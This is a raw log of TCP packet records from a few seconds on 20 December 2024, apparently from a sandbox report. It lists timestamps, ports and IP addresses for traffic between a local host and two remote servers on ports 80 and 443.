Dec 20, 2024 21:13:46.665443897 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.665513039 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.665595055 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.666424990 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.666469097 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.666491985 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.667514086 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.667606115 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.667649984 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.668457985 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.668517113 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.668546915 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.669228077 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.669297934 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.669302940 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.723093033 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.774538994 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.774620056 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.774807930 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.774871111 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.775110006 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.775175095 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.775206089 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.776045084 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.776108980 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.776289940 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.777072906 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.777136087 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.777331114 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.777981043 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.778043032 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.778081894 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.778944969 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.779009104 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.779084921 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.780040026 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.780189037 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.780253887 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.781013012 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.781079054 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.781091928 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.781783104 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.781847954 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.781924009 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.782732964 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.782795906 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.782823086 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.783672094 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.783689022 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.783744097 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.784600973 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.784666061 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.784689903 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.785547972 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.785654068 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.785669088 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.786434889 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.786529064 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.786580086 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.787555933 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.787620068 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.787666082 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.788356066 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.788466930 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.788543940 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.789509058 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.789580107 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.789648056 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.790226936 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.790297031 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.790297985 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.791162968 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.791229963 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.791292906 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.792114973 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.792181015 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.792284966 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.793076038 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.793143988 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.793173075 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.794003963 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.794059992 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.794131994 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.795017004 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.795085907 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.795097113 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.795941114 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.795998096 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.796084881 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.796956062 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.797010899 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.797127008 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.797853947 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.797981024 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.797987938 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.798782110 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.798841000 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.798881054 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.799756050 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.799813986 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.799880981 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.800674915 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.800740004 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.800880909 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.801615000 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.801687956 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.801779032 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.802566051 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.802624941 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.802627087 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.803462982 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.803510904 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.803515911 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.804424047 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.804476023 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.804477930 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.805377960 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.805438995 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.805476904 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.806390047 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.806436062 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.806447029 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.807324886 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.807440042 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.807456970 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.808224916 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.808280945 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.808387041 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.809144974 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.809205055 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.809242010 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.810039997 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.810095072 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.810158014 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.811005116 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.811064005 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.811119080 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.812021971 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.812098026 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.812114954 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.812932014 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.813013077 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.813051939 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.813842058 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.813895941 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.813935041 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.814865112 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.814918995 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.814930916 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.815809965 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.815886974 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.816039085 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.816693068 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.816754103 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.817011118 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.817569971 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.817629099 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.856672049 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.857173920 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.857183933 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.857372999 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.857741117 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.857856035 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.858031034 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.858247995 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.858354092 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.858899117 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.859162092 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.859227896 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.859872103 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.860285044 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.860765934 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.860825062 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.860980034 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.861036062 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.861752987 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.861840963 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.861896038 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.905838013 CET	443	49950	104.21.91.209	192.168.2.6
Dec 20, 2024 21:13:46.905981064 CET	49950	443	192.168.2.6	104.21.91.209
Dec 20, 2024 21:13:46.911564112 CET	49950	443	192.168.2.6	104.21.91.209
Dec 20, 2024 21:13:46.911595106 CET	443	49950	104.21.91.209	192.168.2.6
Dec 20, 2024 21:13:46.912039995 CET	443	49950	104.21.91.209	192.168.2.6
Dec 20, 2024 21:13:46.957470894 CET	49950	443	192.168.2.6	104.21.91.209
Dec 20, 2024 21:13:46.967308044 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.967334032 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.967511892 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.967638969 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.967751980 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.967814922 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.968579054 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.968672037 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.968785048 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.969556093 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.969865084 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.969970942 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.970026016 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.970776081 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.970841885 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.970885038 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.971735001 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.971815109 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.971832037 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.972651005 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.972743988 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.972803116 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.973583937 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.973647118 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.973746061 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.974565029 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.974643946 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.974680901 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.975492954 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.975547075 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.975903034 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.976485968 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.976568937 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.976623058 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.977536917 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.977610111 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.977628946 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.978310108 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.978532076 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.978580952 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.979360104 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.979413986 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.979518890 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.980279922 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.980417013 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.980472088 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.981158018 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.981208086 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.981281042 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.982131958 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.982306004 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.982357025 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.983083010 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.983133078 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.983278990 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.983989954 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.984123945 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.984174967 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.985001087 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.985014915 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.985045910 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.985888004 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.985932112 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.985997915 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.986876011 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.986963987 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.987010002 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.987787008 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.987848043 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.987862110 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.988764048 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.988830090 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.988884926 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.989670992 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.989696026 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.989720106 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.990592957 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.990649939 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.990792036 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.991552114 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.991723061 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.991770029 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.992535114 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.992582083 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.992613077 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.993510008 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.993647099 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.993700981 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.994427919 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.994469881 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.994616985 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.995573997 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.995587111 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.995619059 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.996294975 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.996336937 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.996452093 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.997208118 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.997343063 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.997390985 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.998146057 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.998213053 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:46.998320103 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.999214888 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.999253035 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:46.999298096 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.000065088 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.000116110 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.000298023 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.001004934 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.001111984 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.001157045 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.001945972 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.001992941 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.002079964 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.002892017 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.003000975 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.003050089 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.003828049 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.003878117 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.004028082 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.004827976 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.004893064 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.004945993 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.005695105 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.005743027 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.005784988 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.006660938 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.006772041 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.006823063 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.007615089 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.007667065 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.007729053 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.008528948 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.008640051 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.008688927 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.009469986 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.009536982 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.009574890 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.010354996 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.010632992 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.055768967 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.055931091 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.055943966 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.056006908 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.056082010 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.056093931 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.056114912 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.056126118 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.056171894 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.058150053 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.058259010 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.058270931 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.058305025 CET	49944	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:47.058492899 CET	80	49944	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:47.058536053 CET	49944	80	192.168.2.6	185.121.15.192
